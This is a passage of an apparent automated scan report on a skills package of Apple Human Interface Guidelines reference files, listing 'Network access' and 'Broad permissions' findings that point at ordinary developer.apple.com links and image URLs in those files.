  • Network accessline 55
    **Prefer the thin divider style.** The thin divider measures one point in width, giving you maximum space for content while remaining easy for people to use. Avoid using thicker divider styles unless you have a specific need. For example, i
  • Network accessline 57
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/split-views#tvOS)
  • Network accessline 67
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/split-views#visionOS)
  • Network accessline 69
    **To display supplementary information, prefer a split view instead of a new window.** A split view gives people convenient access to more information without leaving the current context, whereas a new window may confuse people who are tryi
  • Network accessline 71
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/split-views#watchOS)
  • Network accessline 77
    **If your app displays multiple detail pages, place the detail views in a vertical[tab view](https://developer.apple.com/design/human-interface-guidelines/tab-views).** People can then use the Digital Crown to scroll between the detail view
  • Network accessline 79
    ![A screenshot showing a detail view with a vertical tab on Apple Watch. The page indicator next to the Digital Crown shows that the fifth tab is currently selected.](https://docs-assets.developer.apple.com/published/3f36258648d54880e800568
  • Network accessline 81
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/split-views#Resources)
  • Network accessline 83
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/split-views#Related)
  • Network accessline 85
    [Sidebars](https://developer.apple.com/design/human-interface-guidelines/sidebars)
  • Network accessline 87
    [Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars)
  • Network accessline 89
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 91
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/split-views#Developer-documentation)
  • Network accessline 93
    [`NavigationSplitView`](https://developer.apple.com/documentation/SwiftUI/NavigationSplitView) — SwiftUI
  • Network accessline 95
    [`UISplitViewController`](https://developer.apple.com/documentation/UIKit/UISplitViewController) — UIKit
  • Network accessline 97
    [`NSSplitViewController`](https://developer.apple.com/documentation/AppKit/NSSplitViewController) — AppKit
  • Network accessline 99
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/split-views#Videos)
  • Network accessline 101
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/A8CAF870-197F-4982-83D8-56513E5D7D0B/10000_wide_250x141_1x.jpg) Make your UIKit app more flexible ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 103
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/split-views#Change-log)

skills/hig-components-layout/references/tab-bars.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Tab bars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/tab-bars
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/tab-bars
  • Network accessline 9
    ![A stylized representation of a tab bar containing four placeholder icons with names. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/8737d6baf5cdb2
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Best-practices)
  • Network accessline 15
    **Use a tab bar to support navigation, not to provide actions.** A tab bar lets people navigate among different sections of an app, like the Alarm, Stopwatch, and Timer tabs in the Clock app. If you need to provide controls that act on elem
  • Network accessline 27
    **Consider using SF Symbols to provide familiar, scalable tab bar icons.** When you use [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols), tab bar icons automatically adapt to different contexts. For exa
  • Network accessline 29
    ![An illustration of two iPhone devices side by side. The first iPhone is in landscape orientation with a tab bar at the bottom of the screen, with tab bar icons on the leading edge of each tab and tab labels on the trailing edge. The secon
  • Network accessline 31
    If you’re creating custom tab bar icons, see [Apple Design Resources](https://developer.apple.com/design/resources/) for tab bar icon dimensions.
  • Network accessline 33
    ![A diagram of a tab bar, with callouts indicating the location of the tab bar icon and tab label.](https://docs-assets.developer.apple.com/published/eb47e442c964d54ed32f9324c71511d1/tab-bar-anatomy-callouts%402x.png)
  • Network accessline 35
    **Use a badge to indicate that critical information is available.** You can display a badge — a red oval containing white text and either a number or an exclamation point — on a tab to indicate that there’s new or updated information in the
  • Network accessline 37
    ![An illustration of the bottom half of an iPhone in portrait orientation, with a tab bar at the bottom of the screen. Two of the tabs have red circular badges attached, indicating the presence of critical information.](https://docs-assets.
  • Network accessline 39
    **Avoid applying a similar color to tab labels and content layer backgrounds.** If your app already has bright, colorful content in the content layer, prefer a monochromatic appearance for tab bars, or choose an accent color with sufficient
  • Network accessline 41
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Platform-considerations)
  • Network accessline 45
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#iOS)
  • Network accessline 47
    A tab bar floats above content at the bottom of the screen. Its items rest on a [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) background that allows content beneath to peek through.
  • Network accessline 49
    For tab bars with an attached accessory, like the MiniPlayer in Music, you can choose to minimize the tab bar and move the accessory inline with it when a person scrolls down. A person can exit the minimized state by tapping a tab or scroll
  • Network accessline 51
    ![An illustration of the bottom half of an iPhone in portrait orientation, with the Music app open. The MiniPlayer is open above the tab bar at the bottom of the screen.](https://docs-assets.developer.apple.com/published/1b8fb04a802aacd9c9f
  • Network accessline 55
    ![An illustration of the bottom half of an iPhone in portrait orientation, with the Music app open. The tab bar is minimized into the currently open tab at the leading bottom corner of the screen, with the MiniPlayer at the bottom center, a
  • Network accessline 59
    A tab bar can include a distinct search item at the trailing end. For guidance, see [Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields).
  • Network accessline 61
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#iPadOS)
  • Network accessline 63
    The system displays a tab bar near the top of the screen. You can choose to have the tab bar appear as a fixed element, or with a button that converts it to a sidebar. For developer guidance, see [`tabBarOnly`](https://developer.apple.com/d
  • Network accessline 70
    ![A screenshot showing the Music app on iPad with the tab bar near the top of the screen.](https://docs-assets.developer.apple.com/published/66af6b050f67a05a82c5df2acb99913a/ipad-tab-bar-music-app%402x.png)
  • Network accessline 72
    ![A screenshot showing the Music app on iPad with the tab bar converted to a sidebar on the leading edge of the screen.](https://docs-assets.developer.apple.com/published/cb52cc194e4067efff244c3b991a02a4/ipad-sidebar-music-app%402x.png)
  • Network accessline 76
    To present a sidebar without the option to convert it to a tab bar, use a [navigation split view](https://developer.apple.com/documentation/swiftui/navigationsplitview) instead of a tab view. For guidance, see [Sidebars](https://developer.a
  • Network accessline 80
    **Let people customize the tab bar.** In apps with a lot of sections that people might want to access, it can be useful to let people select items that they use frequently and add them to the tab bar, or remove items that they use less freq
  • Network accessline 82
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#tvOS)
  • Network accessline 114
    For additional guidance, see [Live-viewing apps](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps).
  • Network accessline 116
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/tab-bars#visionOS)
  • Network accessline 128
    ![A screenshot showing a collapsed tab bar containing only symbols.](https://docs-assets.developer.apple.com/published/60282ea47a438f5b2bd84705212b44e4/visionos-tab-bar-collapsed%402x.png)Collapsed
  • Network accessline 130
    ![A screenshot showing an expanded tab bar containing both symbols and labels.](https://docs-assets.developer.apple.com/published/df1a14ce3d5e2743bfdfb0fea47fc340/visionos-tab-bar-expanded%402x.png)Expanded
  • Network accessline 132
    **If it makes sense in your app, consider using a sidebar within a tab.** If your app’s hierarchy is deep, you might want to use a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars) to support secondary naviga
  • Network accessline 134
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Resources)
  • Network accessline 136
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Related)
  • Network accessline 138
    [Tab views](https://developer.apple.com/design/human-interface-guidelines/tab-views)
  • Network accessline 140
    [Toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars)
  • Network accessline 142
    [Sidebars](https://developer.apple.com/design/human-interface-guidelines/sidebars)
  • Network accessline 144
    [Materials](https://developer.apple.com/design/human-interface-guidelines/materials)
  • Network accessline 146
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Developer-documentation)
  • Network accessline 148
    [`TabView`](https://developer.apple.com/documentation/SwiftUI/TabView) — SwiftUI
  • Network accessline 150
    [`TabViewBottomAccessoryPlacement`](https://developer.apple.com/documentation/SwiftUI/TabViewBottomAccessoryPlacement) — SwiftUI
  • Network accessline 152
    [Enhancing your app’s content with tab navigation](https://developer.apple.com/documentation/SwiftUI/Enhancing-your-app-content-with-tab-navigation) — SwiftUI
  • Network accessline 154
    [`UITabBar`](https://developer.apple.com/documentation/UIKit/UITabBar) — UIKit
  • Network accessline 156
    [Elevating your iPad app with a tab bar and sidebar](https://developer.apple.com/documentation/UIKit/elevating-your-ipad-app-with-a-tab-bar-and-sidebar) — UIKit
  • Network accessline 158
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Videos)
  • Network accessline 160
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 162
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 164
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/tab-bars#Change-log)

skills/hig-components-layout/references/tab-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Tab views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/tab-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/tab-views
  • Network accessline 9
    ![A stylized representation of a view with two labeled tabs, the first of which is selected. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/4b2dbd07
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/tab-views#Best-practices)
  • Network accessline 23
    For developer guidance, see [`NSTabView`](https://developer.apple.com/documentation/AppKit/NSTabView).
  • Network accessline 25
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/tab-views#Anatomy)
  • Network accessline 29
    ![An illustration of a window in which a three-tab tabbed control is centered on the top edge of the content view.](https://docs-assets.developer.apple.com/published/05bb7fbc6365c3bab10db218644756c3/tab-views-top%402x.png)
  • Network accessline 35
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/tab-views#Platform-considerations)
  • Network accessline 39
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/tab-views#iOS-iPadOS)
  • Network accessline 41
    For similar functionality, consider using a [segmented control](https://developer.apple.com/design/human-interface-guidelines/segmented-controls) instead.
  • Network accessline 43
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/tab-views#watchOS)
  • Network accessline 45
    watchOS displays tab views using [page controls](https://developer.apple.com/design/human-interface-guidelines/components/presentation/page-controls). For developer guidance, see [`TabView`](https://developer.apple.com/documentation/SwiftUI
  • Network accessline 47
    ![An illustration showing the page control next to the Digital Crown on Apple Watch. The current dot is enlarged, indicating that people can scroll through the current content, as well as scroll between pages.](https://docs-assets.developer
  • Network accessline 49
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/tab-views#Resources)
  • Network accessline 51
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/tab-views#Related)
  • Network accessline 53
    [Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars)
  • Network accessline 55
    [Segmented controls](https://developer.apple.com/design/human-interface-guidelines/segmented-controls)
  • Network accessline 57
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/tab-views#Developer-documentation)
  • Network accessline 59
    [`TabView`](https://developer.apple.com/documentation/SwiftUI/TabView) — SwiftUI
  • Network accessline 61
    [`NSTabView`](https://developer.apple.com/documentation/AppKit/NSTabView) — AppKit
  • Network accessline 63
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/tab-views#Change-log)

skills/hig-components-layout/references/windows.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Windows | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/windows
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/windows
  • Network accessline 9
    ![A stylized representation of a window with close, minimize, and full-screen buttons. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/3c5ea22db1d7d4
  • Network accessline 22
    For guidance laying out content within a window on any platform, see [Layout](https://developer.apple.com/design/human-interface-guidelines/layout); for guidance laying out content in Apple Vision Pro space, see [Spatial layout](https://dev
  • Network accessline 24
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/windows#Best-practices)
  • Network accessline 26
    **Make sure that your windows adapt fluidly to different sizes to support multitasking and multiwindow workflows.** For guidance, see [Layout](https://developer.apple.com/design/human-interface-guidelines/layout) and [Multitasking](https://
  • Network accessline 30
    **Consider providing the option to view content in a new window.** While it’s best to avoid opening new windows as default behavior unless it benefits your user experience, it’s also great to give people the flexibility of viewing content i
  • Network accessline 36
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/windows#Platform-considerations)
  • Network accessline 40
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/windows#iPadOS)
  • Network accessline 56
    ![A screenshot of the Notes app in full screen on iPad, with an open document titled Nature Walks. The app interface fills the entire screen, with no visible border to the window.](https://docs-assets.developer.apple.com/published/5daa697ab
  • Network accessline 58
    ![A screenshot of the Notes app  in a window on iPad, with an open document titled Nature Walks. The document window occupies the center of the screen, with the Home Screen background filling the rest of the screen behind it, and the Dock a
  • Network accessline 62
    **Consider letting people use a gesture to open content in a new window.** For example, people can use the pinch gesture to expand a Notes item into a new window. For developer guidance, see [`collectionView(_:sceneActivationConfigurationFo
  • Network accessline 66
    If you only need to let people view one file, you can present it without creating your own window, but you must support multiple windows in your app. For developer guidance, see [`QLPreviewSceneActivationConfiguration`](https://developer.ap
  • Network accessline 68
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/windows#macOS)
  • Network accessline 72
    To learn about setting up a window to display your game in macOS, see [Managing your game window for Metal in macOS](https://developer.apple.com/documentation/Metal/managing-your-game-window-for-metal-in-macos).
  • Network accessline 74
    #### [macOS window anatomy](https://developer.apple.com/design/human-interface-guidelines/windows#macOS-window-anatomy)
  • Network accessline 78
    The _frame_ of a window appears above the body area and can include window controls and a [toolbar](https://developer.apple.com/design/human-interface-guidelines/toolbars). In rare cases, a window can also display a bottom bar, which is a p
  • Network accessline 80
    #### [macOS window states](https://developer.apple.com/design/human-interface-guidelines/windows#macOS-window-states)
  • Network accessline 93
    The system gives main, key, and inactive windows different appearances to help people visually identify them. For example, the key window uses color in the title bar options for closing, minimizing, and zooming; inactive windows and main wi
  • Network accessline 95
    ![An illustration of a stack of three windows, as follows: An inactive window in the background, an app’s main window in the middle, and a key window appearing above the other two windows.](https://docs-assets.developer.apple.com/published/
  • Network accessline 105
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS)
  • Network accessline 109
    ![An illustration representing a window in visionOS. The illustration consists of two parallel rounded rectangles, slightly separated and displayed on an angle, positioned above a window bar.](https://docs-assets.developer.apple.com/publish
  • Network accessline 111
    ![An illustration representing a volume in visionOS. The illustration consists of a translucent cube. The base of the cube is darker than the other sides. The front of the cube is positioned above a window bar.](https://docs-assets.develope
  • Network accessline 115
    visionOS also defines the _plain_ window style, which is similar to the default style, except that the upright plane doesn’t use the glass background. For developer guidance, see [`PlainWindowStyle`](https://developer.apple.com/documentatio
  • Network accessline 119
    #### [visionOS windows](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS-windows)
  • Network accessline 121
    The default window style consists of an upright plane that uses an unmodifiable background [material](https://developer.apple.com/design/human-interface-guidelines/materials) called _glass_ and includes a close button, window bar, and resiz
  • Network accessline 123
    ![A screenshot of a window for an app named 'Hello World' in visionOS. The window includes text and buttons for entering different experiences.](https://docs-assets.developer.apple.com/published/95650cb19e1930e6b08ca5aa3b5b06a0/visionos-win
  • Network accessline 125
    **Prefer using a window to present a familiar interface and to support familiar tasks.** Help people feel at home in your app by displaying an interface they’re already comfortable with, reserving more [immersive experiences](https://develo
  • Network accessline 133
    **Choose a minimum and maximum size for each window to help keep your content looking great.** People appreciate being able to resize windows as they customize their space, but you need to make sure your layout adjusts well across all sizes
  • Network accessline 135
    ![A screenshot of a window for an app in visionOS. The window includes text that discusses objects in orbit, and it includes buttons for viewing a satellite, the moon, and a telescope. The satellite button is selected and a 3D satellite is 
  • Network accessline 137
    **Minimize the depth of 3D content you display in a window.** The system adds highlights and shadows to the views and controls within a window, giving them the appearance of [depth](https://developer.apple.com/design/human-interface-guideli
  • Network accessline 139
    #### [visionOS volumes](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS-volumes)
  • Network accessline 141
    You can use a volume to display 2D or 3D content that people can view from any angle. A volume includes window-management controls just like a window, but unlike in a window, a volume’s close button and window bar shift position to face the
  • Network accessline 143
    ![A screenshot of a volume containing a 3D globe in visionOS, beside a window.](https://docs-assets.developer.apple.com/published/99098a290c36254e48329511216e1d5a/visionos-window-3d%402x.png)A volume
  • Network accessline 145
    **Prefer using a volume to display rich, 3D content.** In contrast, if you want to present a familiar, UI-centric interface, it generally works best to use a [window](https://developer.apple.com/design/human-interface-guidelines/windows#vis
  • Network accessline 153
    **Consider offering high-value content in an ornament.** In visionOS 2 and later, a volume can include an ornament in addition to a toolbar and tab bar. You can use an ornament to reduce clutter in a volume and elevate important views or co
  • Network accessline 157
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/windows#Resources)
  • Network accessline 159
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/windows#Related)
  • Network accessline 161
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 163
    [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views)
  • Network accessline 165
    [Multitasking](https://developer.apple.com/design/human-interface-guidelines/multitasking)
  • Network accessline 167
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/windows#Developer-documentation)
  • Network accessline 169
    [Windows](https://developer.apple.com/documentation/SwiftUI/Windows) — SwiftUI
  • Network accessline 171
    [`WindowGroup`](https://developer.apple.com/documentation/SwiftUI/WindowGroup) — SwiftUI
  • Network accessline 173
    [`UIWindow`](https://developer.apple.com/documentation/UIKit/UIWindow) — UIKit
  • Network accessline 175
    [`NSWindow`](https://developer.apple.com/documentation/AppKit/NSWindow) — AppKit
  • Network accessline 177
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/windows#Videos)
  • Network accessline 179
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 181
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/windows#Change-log)

skills/hig-components-menus/SKILL.md

  • Network accessline 83
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-menus/references/action-button.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Action button | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/action-button
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/action-button
  • Network accessline 9
    ![A sketch of an arrow pointing toward the Action button on Apple Watch, suggesting initiating an action. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-c
  • Network accessline 11
    On a supported device, people can use the Action button to run [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) or access system-provided functionality, like turning the flashlight on or off. On A
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/action-button#Best-practices)
  • Network accessline 19
    **Support the Action button with a set of your app’s essential functions.** For example, if your cooking app includes an egg timer, a “Start Egg Timer” action might be one that people want to initiate when they press the Action button. You 
  • Network accessline 21
    **For each action you support, write a short label that succinctly describes it.** People see your labels when they visit Settings to configure the Action button’s behavior. Create labels that use [title-style capitalization](https://suppor
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/action-button#Platform-considerations)
  • Network accessline 29
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/action-button#iOS)
  • Network accessline 31
    **Let people use your actions without leaving their current context.** When possible, make use of lightweight multitasking capabilities like [Live Activities](https://developer.apple.com/design/human-interface-guidelines/live-activities) an
  • Network accessline 33
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/action-button#watchOS)
  • Network accessline 43
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/action-button#Resources)
  • Network accessline 45
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/action-button#Related)
  • Network accessline 47
    [Workouts](https://developer.apple.com/design/human-interface-guidelines/workouts)
  • Network accessline 49
    [Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown)
  • Network accessline 51
    [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts)
  • Network accessline 53
    [Live Activities](https://developer.apple.com/design/human-interface-guidelines/live-activities)
  • Network accessline 55
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/action-button#Change-log)

skills/hig-components-menus/references/buttons.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Buttons | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/buttons
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/buttons
  • Network accessline 9
    ![A stylized representation of two horizontally aligned buttons. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/15781cd4e57f0e78b7a388a3fa009fa8/com
  • Network accessline 22
    There are also many button-like components that have distinct appearances and behaviors for specific use cases, like [toggles](https://developer.apple.com/design/human-interface-guidelines/toggles), [pop-up buttons](https://developer.apple.
  • Network accessline 24
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/buttons#Best-practices)
  • Network accessline 32
    ## [Style](https://developer.apple.com/design/human-interface-guidelines/buttons#Style)
  • Network accessline 40
    **Avoid applying a similar color to button labels and content layer backgrounds.** If your app already has bright, colorful content in the content layer, prefer using the default monochromatic appearance of button labels. For more guidance,
  • Network accessline 42
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/buttons#Content)
  • Network accessline 48
    In macOS and visionOS, the system displays a tooltip after people hover over a button for a moment. A tooltip displays a brief phrase that explains what a button does; for guidance, see [Offering help](https://developer.apple.com/design/hum
  • Network accessline 50
    **Try to associate familiar actions with familiar icons.** For example, people can predict that a button containing the `square.and.arrow.up` symbol will help them perform share-related activities. If it makes sense to use an icon in your b
  • Network accessline 52
    **Consider using text when a short label communicates more clearly than an icon.** To use text, write a few words that succinctly describe what the button does. Using [title-style capitalization](https://help.apple.com/applestyleguide/#/aps
  • Network accessline 54
    ## [Role](https://developer.apple.com/design/human-interface-guidelines/buttons#Role)
  • Network accessline 71
    ![An example alert with three system buttons, labeled Primary, Destructive, and Cancel. The primary button uses a blue accent color, the destructive button uses text in the system red color, and the cancel button appears as a standard butto
  • Network accessline 73
    **Assign the primary role to the button people are most likely to choose.** When a primary button responds to the Return key, it makes it easy for people to quickly confirm their choice. In addition, when the button is in a temporary view —
  • Network accessline 77
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/buttons#Platform-considerations)
  • Network accessline 81
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/buttons#iOS-iPadOS)
  • Network accessline 85
    ![An illustration of a button labeled Checkout.](https://docs-assets.developer.apple.com/published/f7a2f53cdd4755b1121c34f1df0e94ae/button-activity-indicator-hidden%402x.png)
  • Network accessline 87
    ![An illustration of a button labeled Checking out, with an activity indicator on the leading side of the label.](https://docs-assets.developer.apple.com/published/f2d6023f16eed80487f72b630903d220/button-activity-indicator-visible%402x.png)
  • Network accessline 89
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/buttons#macOS)
  • Network accessline 93
    #### [Push buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Push-buttons)
  • Network accessline 97
    **Use a flexible-height push button only when you need to display tall or variable height content.** Flexible-height buttons support the same configurations as regular push buttons — and they use the same corner radius and content padding —
  • Network accessline 103
    #### [Square buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Square-buttons)
  • Network accessline 109
    **Use square buttons in a view, not in the window frame.** Square buttons aren’t intended for use in toolbars or status bars. If you need a button in a [toolbar](https://developer.apple.com/design/human-interface-guidelines/toolbars), use a
  • Network accessline 111
    **Prefer using a symbol in a square button.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a wide range of symbols that automatically receive appropriate coloring in their default state and
  • Network accessline 115
    For developer guidance, see [`NSButton.BezelStyle.smallSquare`](https://developer.apple.com/documentation/AppKit/NSButton/BezelStyle-swift.enum/smallSquare).
  • Network accessline 117
    #### [Help buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Help-buttons)
  • Network accessline 121
    Help buttons are circular, consistently sized buttons that contain a question mark. For guidance on creating help documentation, see [Offering help](https://developer.apple.com/design/human-interface-guidelines/offering-help).
  • Network accessline 141
    #### [Image buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Image-buttons)
  • Network accessline 145
    **Use an image button in a view, not in the window frame.** For example, avoid placing an image button in a toolbar or status bar. If you need to use an image as a button in a toolbar, use a toolbar item. See [Toolbars](https://developer.ap
  • Network accessline 147
    **Include about 10 pixels of padding between the edges of the image and the button edges.** An image button’s edges define its clickable area even when they aren’t visible. Including padding ensures that a click registers correctly even if 
  • Network accessline 149
    **If you need to include a label, position it below the image button.** For related guidance, see [Labels](https://developer.apple.com/design/human-interface-guidelines/labels).
  • Network accessline 151
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/buttons#visionOS)
  • Network accessline 161
    There are three standard button shapes in visionOS. Typically, an icon-only button uses a [`circle`](https://developer.apple.com/documentation/SwiftUI/ButtonBorderShape/circle) shape, a text-only button uses a [`roundedRectangle`](https://d
  • Network accessline 165
    ![An image of a circular button that contains an icon of an outlined square with rounded corners. The button background is dark and the dashed outline is white.](https://docs-assets.developer.apple.com/published/aed0b1c313448f088dd1ee24663d
  • Network accessline 167
    ![An image of a circular button that contains an icon of an outlined square with rounded corners. The button background is medium dark and the outline is white.](https://docs-assets.developer.apple.com/published/29d708fd7985184cbee9d90d7684
  • Network accessline 169
    ![An image of a circular button that contains an icon of an outlined square with rounded corners. The button background is white and the outline is black.](https://docs-assets.developer.apple.com/published/0b94e710605235dfca19ef853499cf26/v
  • Network accessline 171
    ![An image of a circular button that contains an icon of an outlined square with rounded corners. The button background is very dark and the outline is light.](https://docs-assets.developer.apple.com/published/737120252765e5427161af32bb17e7
  • Network accessline 187
    Shape| Mini (28 pt)| Small (32 pt)| Regular (44 pt)| Large (52 pt)| Extra large (64 pt)   ---|---|---|---|---|---   Circular| ![A checkmark denoting availability.](https://docs-assets.developer.apple.com/published/9c1e6292b0ff3ee8f9e10917ad
  • Network accessline 188
    ---|---|---|---|---|---   Circular| ![A checkmark denoting availability.](https://docs-assets.developer.apple.com/published/9c1e6292b0ff3ee8f9e10917ad97f3da/table-availability-checkmark%402x.png)| ![A checkmark denoting availability.](https
  • Network accessline 189
    Circular| ![A checkmark denoting availability.](https://docs-assets.developer.apple.com/published/9c1e6292b0ff3ee8f9e10917ad97f3da/table-availability-checkmark%402x.png)| ![A checkmark denoting availability.](https://docs-assets.developer.a
  • Network accessline 190
    Capsule (text only)| | ![A checkmark denoting availability.](https://docs-assets.developer.apple.com/published/9c1e6292b0ff3ee8f9e10917ad97f3da/table-availability-checkmark%402x.png)| ![A checkmark denoting availability.](https://docs-asset
  • Network accessline 191
    Capsule (text and icon)| | | ![A checkmark denoting availability.](https://docs-assets.developer.apple.com/published/9c1e6292b0ff3ee8f9e10917ad97f3da/table-availability-checkmark%402x.png)| ![A checkmark denoting availability.](https://docs
  • Network accessline 192
    Rounded rectangle| | ![A checkmark denoting availability.](https://docs-assets.developer.apple.com/published/9c1e6292b0ff3ee8f9e10917ad97f3da/table-availability-checkmark%402x.png)| ![A checkmark denoting availability.](https://docs-assets.
  • Network accessline 194
    **Prefer buttons that have a discernible background shape and fill.** It tends to be easier for people to see a button when it’s enclosed in a shape that uses a contrasting background fill. The exception is a button in a toolbar, context me
  • Network accessline 196
    * When a button appears on top of a glass [window](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS), use the [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin) material as the button’s b
  • Network accessline 198
    * When a button appears floating in space, use the [glass material](https://developer.apple.com/design/human-interface-guidelines/materials#visionOS) for its background.
  • Network accessline 213
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/buttons#watchOS)
  • Network accessline 215
    watchOS displays all inline buttons using the [`capsule`](https://developer.apple.com/documentation/SwiftUI/ButtonBorderShape/capsule) button shape. When you place a button inline with content, it gains a material effect that contrasts with
  • Network accessline 217
    ![An illustration that represents a screen on Apple Watch, which includes capsule-shaped Primary and Secondary buttons.](https://docs-assets.developer.apple.com/published/79565402ab107166de9aa0fe6eab4e6d/buttons-watch-full-width%402x.png)
  • Network accessline 219
